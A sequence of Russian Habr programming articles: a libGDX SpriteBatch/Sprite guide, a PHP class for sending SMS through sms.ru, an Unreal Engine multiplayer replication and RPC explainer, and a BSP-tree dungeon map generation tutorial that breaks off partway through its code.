##### Sprite (спрайт)
Класс Sprite описывает регион текстуры, положение, где будет рисоваться этот регион и цвет, которым будет для региона (цвет для tinting — затенения цветом).
```
private Sprite sprite;
...
texture = new Texture(Gdx.files.internal("image.png"));
sprite = new Sprite(texture, 20, 20, 50, 50);
sprite.setPosition(10, 10);
sprite.setRotation(45);
...
batch.begin();
sprite.draw(batch);
batch.end();
```
Здесь 20, 20, 50, 50 описывает регион текстуры, который будет повернут на 45 градусов, а затем нарисован в точке (10, 10). Это же может быть сделано передачей текстуры или ее части в SpriteBatch и передачей других параметров, но класс Sprite делает это удобней, поскольку вы храните все параметры в одном месте. Также, благодаря тому, что класс Sprite хранит геометрию внутри себя и пересчитывет ее лишь в случае необходимости, это слегка улучшает производительность в операциях масштабирования, вращения или других свойствах, которые не меняются между кадрами.
Необходимо заметить, что класс Sprite смешивает информацию про модель (расположение, информацию про вращение и другие) с информацией про представление (текстура была нарисована этим же классом). Это делает неподходящим использование Sprite в архитектуре, где вы хотите строго отделить модель от представления. В этом случае использование класса Texture или TextureRegion может иметь больше смысла.
##### Tinting (окраска (затенение) цветом )
Когда текстура нарисована, она может быть закрашена определенным цветом:
```
private Texture texture;
private TextureRegion region;
private Sprite sprite;
...
texture = new Texture(Gdx.files.internal("image.png"));
region = new TextureRegion(texture, 20, 20, 50, 50);
sprite = new Sprite(texture, 20, 20, 50, 50);
sprite.setPosition(100, 10);
sprite.setColor(0, 0, 1, 1);
...
batch.begin();
batch.setColor(1, 0, 0, 1);
batch.draw(texture, 10, 10);
batch.setColor(0, 1, 0, 1);
batch.draw(region, 50, 10);
sprite.draw(batch);
batch.end();
```
Этот код показывает, как нарисовать текстуру, ее регион и спрайт с окраской цветом. Цвет описывается в RGBA модели, где каждая компонента лежит в пределах от 0 до 1. Альфа-канал игнорируется, если смешивание (blending) отключено.
##### Blending (cмешивание )
Смешивание включено по умолчанию. Это значит, когда текстура отрисовывается, прозрачные части этой текстуры могут обьединяться из пикселями, которые уже нарисованы на экране в этом месте.
Когда смешивание отключено, все, что было на экране, стирается текстурой, что рисуется в этом месте. Это более эффективно и, таким образом, вы всегда можете отключить смешивание, если оно вам не нужно. Например, если вы рисуете большое фоновое изображение на весь экран, производительность может быть улучшена в первую очередь отключением смешивания:
```
Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); // Эта строчка очищает экран
batch.begin();
batch.disableBlending();
backgroundSprite.draw(batch);
batch.enableBlending();
// Здесь рисуются другие части
batch.end();
```
Примечание. Убедитесь, что экран очищается каждый кадр. Если это не так, текстура из альфа-каналом будет нарисована поверх самой себя много раз, что даст совсем не тот эффект, что нужно. Также, некоторые архитектуры видеоускорителей работают лучше, если вы очищаете экран каждый кадр, вместо рисования изображения на весь экран.
##### Viewport (область просмотра)
SpriteBatch имеет собственную проекцию и матрицу преобразований. Когда создается SpriteBatch, он использует размеры текущего приложения для настройки ортогональной проекции используя систему координат с осью У, направленной вверх (то есть, 0, 0 — это левый нижний угол экрана — прим. переводчика). Когда вызывается метод begin(), SpriteBatch устанавливает свою область просмотра.
Примечание. Как только появится более подробная документация по области просмотра, она будет размещена здесь.
##### Улучшение производительности.
SpriteBatch имеет конструктор, который принимает максимальное количество спрайтов, которое будет накоплено перед отправкой до GPU. Если это число слишком мало, будет много лишних вызовов видеоускорителя. Если число большое, SpriteBatch будет использовать слишком много памяти.
SpriteBatch имеет public поле, которое называется maxSpritesInBatch. Оно указывает на максимальное число спрайтов, которое может быть отослано на отрисовку видеоускорителю за один раз на протяжении жизненного цикла SpriteBatch. Можно выставить это число очень большим и проверять его. Это поможет подобрать оптимальный размер SpriteBatch. Размер SpriteBatch (число, которое вы передаете в конструктор) должен слегка превышать число maxSpritesInBatch. Вы всегда можете установить maxSpritesInBatch в ноль — то есть, сбросить этот счетчик.
SpriteBatch имеет публичное поле renderCalls. После очередного цикла рендеринга здесь хранится сколько раз SpriteBatch отсылал разные данные про геометрию между вызовами begin() и end(). Это случается, если привязываются разные текстуры, или если SpriteBatch был переполнен (слишком маленький кэш). Если размер SpriteBatch подобран правильно и renderCalls слишком велико (около 15-20) это свидетельсвует, что вы используете слишком много текстур. Постарайтесь разместить часть текстур в одной большой текстуре.
SpriteBatch имеет дополнительный конструктор который принимает число и размеры буферов. Это продвинутая фишка, которая приказывает работать с VBO (vertex buffer objects) вместо обычного VA (vertex arrays). SpriteBatch хранит список буферов и при каждом очередном цикле рендеринга использует следующий буфер. Когда maxSpritesInBatch маленькое и renderCalls большое, это фишка может дать небольшой прирост производительности. | https://habr.com/ru/post/143405/ | null | ru | null |
# Отправляем SMS.ru с удобством
Было дело, проскакивала на хабре статься о сервисе sms.ru
Попробовал, работает. Понравилось. Тогда на этом дело и закончилось.
Но вот недавно потребовалось мне сделать отправку SMS подписавшимся клиентам. API на сайте сервиса хорошо документирован и приведены примеры, но не хватает удобства использования. В результате написал небольшой класс для взаимодействия с sms.ru.
> `php<br/
>
>
> /\*\*
>
> \* Класс взаимодействия с сервисом sms.ru
>
> \*/
>
> class Z\_Service\_Sms {
>
>
>
> protected $\_apiId = NULL;
>
> protected $\_responseCode = NULL;
>
> protected $\_lastAction = NULL;
>
>
>
> const HOST = 'http://sms.ru/';
>
> const SEND = 'sms/send?';
>
> const STATUS = 'sms/status?';
>
> const BALANCE = 'my/balance?';
>
> const LIMIT = 'my/limit?';
>
>
>
> protected $\_responseCodeTranstale = array(
>
> 'send' => array(
>
> '100' => 'Сообщение принято к отправке',
>
> '200' => 'Неправильный api\_id',
>
> '201' => 'Не хватает средств на лицевом счету',
>
> '202' => 'Неправильно указан получатель',
>
> '203' => 'Нет текста сообщения',
>
> '204' => 'Имя отправителя не согласовано с администрацией',
>
> '205' => 'Сообщение слишком длинное (превышает 5 СМС)',
>
> '206' => 'Превышен дневной лимит на отправку сообщений',
>
> '207' => 'На этот номер нельзя отправлять сообщения',
>
> '208' => 'Параметр time указан неправильно',
>
> '210' => 'Используется GET, где необходимо использовать POST',
>
> '211' => 'Метод не найден',
>
> '220' => 'Сервис временно недоступен, попробуйте чуть позже.',
>
> ),
>
> 'status' => array(
>
> '-1' => 'Сообщение не найдено',
>
> '100' => 'Сообщение находится в очереди',
>
> '101' => 'Сообщение передается оператору',
>
> '102' => 'Сообщение отправлено (в пути)',
>
> '103' => 'Сообщение доставлено',
>
> '104' => 'Не может быть доставлено: время жизни истекло',
>
> '105' => 'Не может быть доставлено: удалено оператором',
>
> '106' => 'Не может быть доставлено: сбой в телефоне',
>
> '107' => 'Не может быть доставлено: неизвестная причина',
>
> '108' => 'Не может быть доставлено: отклонено',
>
> '200' => 'Неправильный api\_id',
>
> '210' => 'Используется GET, где необходимо использовать POST',
>
> '211' => 'Метод не найден',
>
> '220' => 'Сервис временно недоступен, попробуйте чуть позже',
>
> ),
>
> 'balance' => array(
>
> '100' => 'Запрос выполнен',
>
> '200' => 'Неправильный api\_id',
>
> '210' => 'Используется GET, где необходимо использовать POST',
>
> '211' => 'Метод не найден',
>
> '220' => 'Сервис временно недоступен, попробуйте чуть позже.',
>
> ),
>
> 'limit' => array(
>
> '100' => 'Запрос выполнен',
>
> '200' => 'Неправильный api\_id',
>
> '210' => 'Используется GET, где необходимо использовать POST',
>
> '211' => 'Метод не найден',
>
> '220' => 'Сервис временно недоступен, попробуйте чуть позже.',
>
> ),
>
> );
>
>
>
> /\*\*
>
> \*
>
> \* Идентификатор api\_id
>
> \* @param string $id
>
> \*/
>
> public function \_\_construct($id)
>
> {
>
> $this->\_apiId = $id;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @param string $to телефон: 11 знаков. например 79060000000
>
> \* @param string $text текст сообщение
>
> \* @param string $from отправитель
>
> \* @return string id сообщения
>
> \*/
>
> public function send($to,$text,$from=NULL)
>
> {
>
> $apiParams['api\_id'] = $this->\_apiId;
>
> $apiParams['to'] = $to;
>
> $apiParams['text'] = $text;
>
> if ($from)
>
> $apiParams['from'] = $from;
>
> $url = self::HOST.self::SEND.http\_build\_query($apiParams);;
>
> $body = file\_get\_contents($url);
>
> @list($code,$smsId) = explode("\n", $body);
>
> $this->\_lastAction = 'send';
>
> $this->\_responseCode = $code;
>
> return $smsId;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @param string $id id сообщения
>
> \* @return string код статуса сообщения.
>
> \*/
>
> public function status($id)
>
> {
>
> $apiParams['api\_id'] = $this->\_apiId;
>
> $apiParams['id'] = $id;
>
> $url = self::HOST.self::STATUS.http\_build\_query($apiParams);
>
> $body = file\_get\_contents($url);
>
> $status = $body;
>
> $this->\_lastAction = 'status';
>
> $this->\_responseCode = $status;
>
> return $status;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @return string Баланс в рублях
>
> \*/
>
> public function balance()
>
> {
>
> $apiParams['api\_id'] = $this->\_apiId;
>
> $url = self::HOST.self::BALANCE.http\_build\_query($apiParams);
>
> $body = file\_get\_contents($url);
>
> @list($code,$balance) = explode("\n", $body);
>
> $this->\_lastAction = 'balance';
>
> $this->\_responseCode = $code;
>
> return $balance;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @return int количество оставшихся сообщений
>
> \*/
>
> public function limit()
>
> {
>
> $apiParams['api\_id'] = $this->\_apiId;
>
> $url = self::HOST.self::LIMIT.http\_build\_query($apiParams);
>
> $body = file\_get\_contents($url);
>
> @list($code,$count,$limit) = explode("\n", $body);
>
> $this->\_lastAction = 'limit';
>
> $this->\_responseCode = $code;
>
> return (int)($count - $limit);
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @return string код результата выполнения последней операции
>
> \*/
>
> public function getResponseCode()
>
> {
>
> return $this->\_responseCode;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* @return string расшифровка кода результата выполнения последней операции
>
> \*/
>
> public function getResponseMessage()
>
> {
>
> if ($this->\_lastAction)
>
> return $this->\_responseCodeTranstale[$this->\_lastAction][$this->getResponseCode()];
>
> else
>
> return 'Нет данных для возврата сообщения';
>
> }
>
>
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Прошу пользоваться и давать советы по улучшению. | https://habr.com/ru/post/100750/ | null | ru | null |
# Мультиплеер в Unreal Engine: Игровой процесс
Привет хабр!
В данной статье я хочу разобрать мультиплеер в Unreal Engine в контексте игрового процесса.
Опираться я буду на всеобщеизвестный unreal network compendium, приправленный моим собственным опытом.
---
Основная часть
--------------
### Репликация
Мультиплеер так таковой представляет из себя взаимодействие меж **Сервером** и **Клиентом.** По факту, суть взаимодействия проста - клиент полностью должен копировать все то, что происходит на сервере, т.е Сервер должен **Реплицировать** данные клиенту. Из этого следует, что сервер и клиент, это две копии игры, запущенные на разных машинах, где клиент обязан подчиняться серверу. Отметим несколько тезисов, необходимых для полного понимания картины:
**Во первых:** Сервер может выступать как dedicated, т.е удаленный частный сервер, собранный их исходников. На нем отсутствует какая либо визуальная часть, вроде VFX эффектов, виджетов, ALocalPlayer и т.д.
А так же сервером может выступать и клиент, тот же игрок, к которому подключились другие игроки (будь то локальная или глобальная сеть). У него, как вы понимаете, присутствует все то, то есть и у других игроков, за одним исключением.
**Во вторых:** Данные нужно синхронизировать меж несколькими клиентами, чтобы создавалась иллюзия, что они играют друг с другом ~~(впал в депрессию после осознания).~~ Центром для синхронизации выступает как раз таки сервер. Он производит все необходимые просчеты для их дальнешей репликации клиентам. Кроме того, выполнение важной игровой логики на сервере предотврощает читерство, т.е подмену каких либо переменных (здоровье, урон и пр.), хотя, во всяком случае, эти выводы следуют друг из друга. Но какие данные можно синхронизировать, а какие нет?
**В третьих:** Не все данные можно реплицировать. Как я уже выразился: сервер и клиент, это две разные игры, где одна пытается копировать другую. У сервера гораздо больше прав, и при подключении игрока к серверу у первого отсутствуют некоторые игровые элементы, которые, в свою очередь, присутствуют у центра. Самые яркие их представители - это `AGameMode`и `UGameSession`**.**
`AGameMode` - класс, отвечающий за "правила игры" *(все несколько сложнее и абстракнее, но пусть будет пока так).* Поскольку клиент обделен возможностью на эти "правила влиять", то у него он отсутствует, и при попытке вызывать на клиенте:
```
GetWorld()->GetAuthGameMode();
```
Вам вернется `nullptr`. Тоже самое касается и `UGameSession`.
`UGameSession` - класс, отвечающий за подключение клиента к серверу. Он эдакий ***Менеджер все подключающихся игроков.*** В свою очередь, у клиента для контроля сесии есть `APlayerController` и `APlayerState`.
В Network Compendium есть великолепное изображение сей логики:
Рис. 1. Схема репликации классов.Как я уже высказался: `AGameMode` присутсвует сугубо на сервере. В нем лежат "правила игры".
И у сервера, и у клиентов есть:
1. `AGameState` - класс, в котором хранятся важные переменные сессии,т.е *состояние игры* (точки для захвата, текущие очки каждой команд, виды команд и пр.,), т.е **постоянно меняющиеся состояния. Он так же реплицируется клиентам.**
2. `APlayerState` - *состояние игрока* внутри игры. Не путать с представлением, т.е с `APlayerController`. Разница в том, что копия APlayerState каждого игрока есть у клиентов. Т.е если на сервере 30 игроков и 1 dedicated сервер, то у каждого из 30 игроков будет 29 копий APlayerState друг друга, и один свой. Может возникнуть вопрос - что там хранить?
**На самом деле, все, что вы хотели бы показать другим игрокам.** Самый банальный пример: Таблица счета из шутеров. Там отображаются убийства, ассисты, ~~смерти~~...(отсылка на горячё любимый battlefield 2042). Тогда почему бы не хранить все счетчики убийств, очки и пр. в APlayerState и не отображать их у каждого подключенного клиента?
3. APawn - класс, для которого клиент может вызывать Possess или Unposses, т.е вселится и контролировать персонажа своим APlayerController, что заставит Pawn'а принимать от вас инпуты. Кроме того, уничтожение APawn на сервере повлечет уничтожение его у всех клиентов ***(но это*** ***прерогатива*** ***всех AActor'ов)\****
***P.S Вы не контролируете павна напрямую. Вы лишь отправляете на сервер запрос с тем, чтобы ваш павн совершил какое либо действие.***
Далее, мы медленно приближаемся к другому важному моменту:
У всех `AActor'ов` есть свой **"*владелец".*** На рисунке представлено, что `APlayerController` есть на сервере и у клиента, который этим контроллером владеет. **(Это как раз таки отсылает нас к нужде контролировать павна лишь с помощью вызовов на сервер**) Попытка получить
```
UGameplayStatics::GetPlayerController(GetWorld(),/*1.2.3.4...*/);
```
Вернет вам `nullptr`, т.к у клиента есть лишь его контроллер.
Теперь про контроль: все Actor'ы имеют свою роль, в зависимости от того, на какой машине они находятся. На машине сервера (Authority),для каждого actor'а будет верно следующее равенство:
```
Actor->GetRemoteRole() == ENetRole::ROLE_Authority;
```
Для клиента же, попытка вызвать эту же функцию у ***реплицированного с сервера actor'а*** даст следующий результат:
```
Actor->GetRemoteRole() == ENetRole::ROLE_SimulatedProxy;
```
И наконец: для всех pawn'ов, которых контролирует клиент, т.е для которых он вызывал `APlayerController::Possess(Pawn);` на клиенте будет верно следующее:
```
Actor->GetRemoteRole() == ENetRole::ROLE_AutonomousProxy;
```
Если с первым и вторым все очевидно, то с третьим выходит так, что игрок во время владения юнитом посылает бесконечный инпут со своего контроллера, который так же необходимо передавать на сервер, и тут может быть большое кол-во потерь пакетов, тормозов и пр. По этой причине, на юнитах с такой ролью используется *экстраполяция положения в пространстве с учетом его ускорения* для этого юнита. Это очень сильно сопряжено с понятием RPC вызовов, о которых ниже.
И последнее: виджеты.
Ни серверу, ни другим клиентам не интересны ваши виджеты, как они выглядят и что они отображают. Их интересуют лишь сухие данные, которые эти виджеты представляют. Из этих соображений бессмысленно пытаться передать указатель на виджет серверу, т.к у него этого виджета нет.
***Дополнение:***
Кроме виджетов, ***ваша копия*** `UGameInstance` присутствует сугубо у вас. Точно так же, как и `UGameInstanceSubsystem`.
`UGameInstance` не является наследником класса `AActor`, и, следовательно, ***не реплицируется.*** Попытка вызывать функцию с клиента на сервер с обращением к `UGameInstance` может дать непредсказуемый результат.
Рис 2. Схема репликации из Network Compendium.
---
### RPC функции и репликация
Для синхронизации сервера и клиента у UE есть следующие инструменты:
1. RPC функции.
2. Репликация переменных.
1. RPC функции - функции, которые вызываются на одной машины, а исполняются на другой. Например, функция вызываная на клиенте, будет исполнена на сервере и наоборот. **Важно понимать, что вызывать RPC функции могут лишь все наследники класса AActor, кроме того,** **вызывать их может только владелец этого AActor'а.** Следовательно, сервер может проводить любые операции, и вызывать любые типы RPC функци на клиенты.
Рассмотрим на примерах:
Рис. 3 Примеры RPC функций.`Reliable` - модификатор, который обозначает, что запрос о вызове функции на другой машине будет выполнятся до тех пор, пока не будет получен ответ, что функция успешно выполнилась. Этот модификатор закрывает проблемы с потерей пакетов, позволяя выполнить необходимые функции любой ценой. Однако, обращаться с ним нужно крайне аккуратно, и использовать как можно реже.
`Unreliable` - модификатор, помечающий функцию как не особо важную, и запрос о вызове будет выполнен лишь один раз. Этот модификтор гораздо предпочтительнее вследсвтие меньших затрат.
***Необходимо указывать один из них.***
Всего функций - 3 типа.
* **Client**
* **Server**
* **Multicast**
`Client` - вызывается на владеющим этим Actor'ом клиенте.
```
void AUEPlayerController::ServerCall_Implementation()
{
//Do smth
ClientCall();
}
void AUEPlayerController::ClientCall_Implementation()
{
//Вызовется на владеющим этим AActor'ом клиенте.
//В нашем случае, клиенте, который вызывал ServerCall со своего PlayerController'a.
}
```
`Server` - вызывается на сервере.
`NetMulticast` - вызывается на всех клиентах и сервере.
```
void AUEPlayerController::ServerCall_Implementation()
{
//Do smth
MulticastCall();
}
void AUEPlayerController::MulticastCall_Implementation()
{
//Вызовется на всех клиетах, при условии, что запрос на вызов поступил с сервера.
}
```
***P.S Реализация RPC функции должна быть помечена в конце \_Implementation.***
Кроме того, есть еще один модификатор : `WithValidation.`
Прежде чем вызывать необходимую функцию, сначала будет выполнена проверка, заключенная в функции, которая была помечена как \_Validate.
```
UFUNCTION(Client,Unreliable, WithValidation)
void ClientCall(int32 SomeParameter);
UFUNCTION()
bool ClientCall_Validate(int32 SomeParameter);
```
```
void AUEPlayerController::ClientCall_Implementation(int32 Damage)
{
//Вызовется на владеющим этим AActor'ом клиенте.
}
bool AUEPlayerController::ClientCall_Validate(int32 Damage)
{
//Если параметр Damage удовлетворяет проверке, функция будет вызывана.
return Damage <= 100;
//В ином случае, (!)вызывающая машина будет отключена от сервера/клиента(!)
}
```
В Network Compendium если отличная репрезентация того, как работают RPC вызовы с разных машин:
Рис. 4. Вызов RPC функций с сервера.Рис. 5. Вызов RPC функций с клиента ч. 1.Рис. 6. Вызов RPC функций с клиента ч. 2.2. Репликация.
Как уже было сказано ранее, репликация подразумевает, что какой либо параметр (переменная) будет полностью копировать состояние той же переменной на сервере.
Для того чтобы включить это репликацию, добавим следующие модификаторы:
```
UPROPERTY(Replicated)
int32 ReplicatedInt;
UPROPERTY(ReplicatedUsing = OnReplicatedUsingIntChanged)
int32 ReplicatedUsingInt;
UFUNCTION()
void OnReplicatedUsingIntChanged();
```
`Replicated` - Модификатор, помечающий переменную так, чтобы та копировала состояние с сервера.
`ReplicatedUsing` - Модификатор, помечающий переменную так, чтобы та не просто копировала состояние, а каждый раз, как состояние этой переменной менялось на сервере, на всех клиентах вызывалась функция `OnReplicatedUsingIntChanged()`
`ReplicatedUsing` может быть использован, например, в случае, если переменная HealthPoints изменилась, то на клиентах мы бы заспавнили виджет, оповещающий об этом событии.
***Иначе говоря, функция, привязанная модификатором ReplicatedUsing, обязана оповещать клиентов об изменении переменной, и как-то на это реагировать.***
Теперь, собственно, одна из причин, почему только поля AActor'ов могут быть реплицированы:
Мало пометить переменную `Replicated` или `ReplicatedUsing` ,
У каждого AActor'а есть виртуальная функция:
```
virtual void GetLifetimeReplicatedProps(TArray& OutLifetimeProps) const override;
```
Которая отвечает за ***Репликацию*** непосредственно***.***
Последний шаг для включения репликации переменной:
```
void AUEPlayerController::GetLifetimeReplicatedProps(TArray& OutLifetimeProps) const
{
Super::GetLifetimeReplicatedProps(OutLifetimeProps);
//Указываем репликатор, класс, содержащий реплицируемое поле, и поле непосредственно.
DOREPLIFETIME(AUEPlayerController, ReplicatedInt);
DOREPLIFETIME(AUEPlayerController, ReplicatedUsingInt);
}
```
Кроме того, у репликации есть **условия**. Репликация с `DOREPLIFETIME` выполняется без каких либо условий.
```
void AUEPlayerController::GetLifetimeReplicatedProps(TArray& OutLifetimeProps) const
{
Super::GetLifetimeReplicatedProps(OutLifetimeProps);
//Указываем репликатор, класс, содержащий реплицируемое поле, и поле непосредственно.
DOREPLIFETIME(AUEPlayerController, ReplicatedInt);
DOREPLIFETIME\_CONDITION(AUEPlayerController, ReplicatedUsingInt,COND\_SkipOwner);
}
```
Теперь репликация `ReplicatedUsingInt` будет выполнятся с условие `SkipOwner`, т.е реплицироваться будет всем клиентам, кроме владельца этого `AActor'а`.
Кроме `SkipOwner` есть следующие [условия](https://docs.unrealengine.com/4.27/en-US/InteractiveExperiences/Networking/Actors/Properties/Conditions/):
* `COND_InitialOnly` - репликация будет выполнена лишь раз при инициализации AActor'а у клиента.
* `COND_OwnerOnly` - Репликация будет выполняться только для машины владельца этого AActor'а.
* `COND_SimulatedOnly` - Репликация будет выполняться только для машины того клиента, роль AActor'а на которой будет `ENetRole::ROLE_SimulatedProxy.`
* `COND_AutonomousOnly` - Репликация будет выполняться только для машины того клиента, роль AActor'а на которой `ENetRole::ROLE_AutonomousProxy.`
* `COND_SimulatedOrPhysics` - Выполнится только для машины клиента, на которой физика AActor'а реплицируется или на которой выставлен флаг bRepPhysics.
* `COND_InitialOrOwner` - Будет выполняться только для машины клиента единожды, или для владельца клиента постоянно.
* `COND_Custom` - Не имеет конкретного условия. Но требуется включение или выключение через `SetCustomIsActiveOverride.`
---
Заключение
----------
Вот пожалуй и все. Есть еще несколько вещей, которые можно было бы рассказать про игровой процесс, однако статья получилась и так весьма громоздкой, посему, если вы пожелаете, напишу продолжение.
Спасибо что читали!
Внизу я оставлю немного источников, помимо тех, что обозначил в статье, дабы вы могли получше разобраться с механизмом работы мультиплеера.
### Источники
* [Репликация под капотом.](https://youtu.be/JOJP0CvpB8w)
* [Исходный материал для статьи.](https://cedric-neukirchen.net/Downloads/Compendium/UE4_Network_Compendium_by_Cedric_eXi_Neukirchen.pdf)
* [Документация](https://docs.unrealengine.com/4.26/en-US/InteractiveExperiences/Networking/Actors/) | https://habr.com/ru/post/647521/ | null | ru | null |
# Использование BSP-деревьев для создания игровых карт
При заполнении области объектами (например, комнатами в подземелье) в случайном порядке вы рискуете тем, что всё будет *слишком* случайным. Результат может оказаться абсолютно бесполезным хаосом. В этом туториале я покажу, как использовать для решения этой проблемы *двоичное разбиение пространства (Binary Space Partitioning, BSP)*.
Я подробно и по этапам расскажу об использовании BSP для создания простой двухмерной карты, к примеру, схемы подземелья. Я покажу, как создать простой объект `Leaf`, который мы используем для разделения области на маленькие сегменты. Затем мы займёмся генерированием в каждом `Leaf` случайной комнаты. И, наконец, узнаем, как соединить все комнаты коридорами.
Примечание: хоть код примеров и написан на AS3, концепцию можно использовать практически в любом другом языке.
---
Демо-проект
-----------
Я создал демо, показывающую часть возможностей BSP. Демо написано с помощью свободной библиотеки AS3 [Flixel](http://flixel.org) с открытым исходным кодом.
При нажатии на кнопку **Generate** демо выполняет код для генерирования нескольких `Leaf`, а затем отрисовывает их в объекте `BitmapData`, после чего тот отображается на экране (с увеличением масштаба для заполнения экрана).
[](http://tutsplus.github.io/Using-BSP-Trees-to-Generate-Game-Maps/demo/SWFDemo.html?swfName=BSPTut.swf&height=480&width=640)
*Генерирование случайной карты. ([Нажмите для загрузки демо.](http://tutsplus.github.io/Using-BSP-Trees-to-Generate-Game-Maps/demo/SWFDemo.html?swfName=BSPTut.swf&height=480&width=640))*
При нажатии на кнопку **Play** программа передаёт сгенерированную карту `Bitmap` объекту `FlxTilemap`, который генерирует играбельную тайловую карту и отображает её на экране. По ней можно побродить с помощью стрелок:
[](http://tutsplus.github.io/Using-BSP-Trees-to-Generate-Game-Maps/demo/SWFDemo.html?swfName=BSPTut.swf&height=480&width=640)
*Играем на карте. ([Нажмите для загрузки демо.](http://tutsplus.github.io/Using-BSP-Trees-to-Generate-Game-Maps/demo/SWFDemo.html?swfName=BSPTut.swf&height=480&width=640))*
---
Что такое BSP?
--------------
[Двоичное разбиение пространства](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D0%B7%D0%B1%D0%B8%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0) — это способ разделения области на более мелкие части.
Мы берём область, называемую листом (`Leaf`), и разделяем её, вертикально или горизонтально, на два меньших листа, а затем повторяем процесс с меньшими областями, снова и снова, пока каждая область не станет меньше или равной заданному максимальному значению.
После завершения процесса у нас получится иерархия разбитых `Leaf`, с которыми можно делать всё, что угодно. В трёхмерной графике BSP можно использовать для сортировки видимых для игрока объектов или для распознавания коллизий в ещё меньших частях.
---
Зачем использовать BSP для генерирования карт?
----------------------------------------------
Существует множество разных способов генерирования случайной карты. Можно написать простую логику для создания прямоугольников случайного размера в случайных местах, но в результате получатся карты, заполненные пересекающимися, скученными или странно расположенными комнатами. Кроме того, немного сложнее соединить все комнаты друг с другом и сделать так, чтобы не осталось изолированных комнат.
Благодаря BSP можно гарантировать создание более равномерно распределённых комнат и обеспечить их соединение.
---
Создание листьев
----------------
Первое, что нам нужно создать в коде — класс `Leaf`. В сущности, наш `Leaf` будет [прямоугольником](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/geom/Rectangle.html) с некоторыми дополнительными возможностями. Каждый `Leaf` будет содержать либо пару дочерних `Leaf`, либо пару комнат `Room`, а также один или два коридора.
Вот как выглядит код `Leaf`:
```
public class Leaf
{
private const MIN_LEAF_SIZE:uint = 6;
public var y:int, x:int, width:int, height:int; // положение и размер этого листа
public var leftChild:Leaf; // левый дочерний Leaf нашего листа
public var rightChild:Leaf; // правый дочерний Leaf нашего листа
public var room:Rectangle; // комната, находящаяся внутри листа
public var halls:Vector.; // коридоры, соединяющие этот лист с другими листьями
public function Leaf(X:int, Y:int, Width:int, Height:int)
{
// инициализация листа
x = X;
y = Y;
width = Width;
height = Height;
}
public function split():Boolean
{
// начинаем разрезать лист на два дочерних листа
if (leftChild != null || rightChild != null)
return false; // мы уже его разрезали! прекращаем!
// определяем направление разрезания
// если ширина более чем на 25% больше высоты, то разрезаем вертикально
// если высота более чем на 25% больше ширины, то разрезаем горизонтально
// иначе выбираем направление разрезания случайным образом
var splitH:Boolean = FlxG.random() > 0.5;
if (width > height && width / height >= 1.25)
splitH = false;
else if (height > width && height / width >= 1.25)
splitH = true;
var max:int = (splitH ? height : width) - MIN_LEAF_SIZE; // определяем максимальную высоту или ширину
if (max <= MIN_LEAF_SIZE)
return false; // область слишком мала, больше её делить нельзя...
var split:int = Registry.randomNumber(MIN_LEAF_SIZE, max); // определяемся, где будем разрезать
// создаём левый и правый дочерние листы на основании направления разрезания
if (splitH)
{
leftChild = new Leaf(x, y, width, split);
rightChild = new Leaf(x, y + split, width, height - split);
}
else
{
leftChild = new Leaf(x, y, split, height);
rightChild = new Leaf(x + split, y, width - split, height);
}
return true; // разрезание выполнено!
}
}
```
Теперь нам нужно создать `Leaf`:
```
const MAX_LEAF_SIZE:uint = 20;
var _leafs:Vector = new Vector;
var l:Leaf; // вспомогательный лист
// сначала создаём лист, который будет "корнем" для всех остальных листьев.
var root:Leaf = new Leaf(0, 0, \_sprMap.width, \_sprMap.height);
\_leafs.push(root);
var did\_split:Boolean = true;
// циклически снова и снова проходим по каждому листу в нашем Vector, пока больше не останется листьев, которые можно разрезать.
while (did\_split)
{
did\_split = false;
for each (l in \_leafs)
{
if (l.leftChild == null && l.rightChild == null) // если лист ещё не разрезан...
{
// если этот лист слишком велик, или есть вероятность 75%...
if (l.width > MAX\_LEAF\_SIZE || l.height > MAX\_LEAF\_SIZE || FlxG.random() > 0.25)
{
if (l.split()) // разрезаем лист!
{
// если мы выполнили разрезание, передаём дочерние листья в Vector, чтобы в дальнейшем можно было в цикле обойти и их
\_leafs.push(l.leftChild);
\_leafs.push(l.rightChild);
did\_split = true;
}
}
}
}
}
```
После завершения этого цикла у нас останется `Vector` (типизированный массив), заполненный листьями.
Вот пример с листьями, разделёнными линиями:
*Пример области, разделённой на листья*
---
Создание комнат
---------------
Мы определились с листьями, теперь нужно создать комнаты. Мы хотим реализовать своеобразный эффект «перетекания»: начнём с самого большого, «корневого» `Leaf` и спустимся до самых маленьких `Leaf`, у которых нет дочерних листьев, а затем создадим в каждом из них комнату.
Поэтому добавим в класс `Leaf` эту функцию:
```
public function createRooms():void
{
// эта функция генерирует все комнаты и коридоры для этого листа и всех его дочерних листьев.
if (leftChild != null || rightChild != null)
{
// этот лист был разрезан, поэтому переходим к его дочерним листьям
if (leftChild != null)
{
leftChild.createRooms();
}
if (rightChild != null)
{
rightChild.createRooms();
}
}
else
{
// этот лист готов к созданию комнаты
var roomSize:Point;
var roomPos:Point;
// размер комнаты может находиться в промежутке от 3 x 3 тайла до размера листа - 2.
roomSize = new Point(Registry.randomNumber(3, width - 2), Registry.randomNumber(3, height - 2));
// располагаем комнату внутри листа, но не помещаем её прямо
// рядом со стороной листа (иначе комнаты сольются)
roomPos = new Point(Registry.randomNumber(1, width - roomSize.x - 1), Registry.randomNumber(1, height - roomSize.y - 1));
room = new Rectangle(x + roomPos.x, y + roomPos.y, roomSize.x, roomSize.y);
}
}
```
Теперь, когда мы создали `Vector` из листьев, вызовем нашу новую функцию из корневого листа:
```
_leafs = new Vector;
var l:Leaf; // вспомогательный лист
// сначала создаём лист, который будет "корнем" всех листьев.
var root:Leaf = new Leaf(0, 0, \_sprMap.width, \_sprMap.height);
\_leafs.push(root);
var did\_split:Boolean = true;
// циклически проходим по каждому листу в Vector, снова и снова, пока не останется неразрезанных листьев.
while (did\_split)
{
did\_split = false;
